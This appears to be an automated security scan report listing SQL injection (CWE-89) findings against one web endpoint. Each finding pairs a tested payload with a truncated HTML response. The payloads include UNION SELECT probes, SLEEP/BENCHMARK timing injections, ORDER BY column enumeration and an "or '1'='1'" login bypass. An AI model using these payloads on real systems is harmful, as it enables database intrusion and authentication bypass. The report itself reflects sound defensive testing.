z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1910
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1911
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1912
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7506=9091 AND (5913=
5913
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1913Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1914
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1915
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '=0--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1916
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# WHERE 1=1 AND 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1917
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1918
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT NULL
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1919
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1920
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1921
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1922
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1923
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
,4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1924
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or ('1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
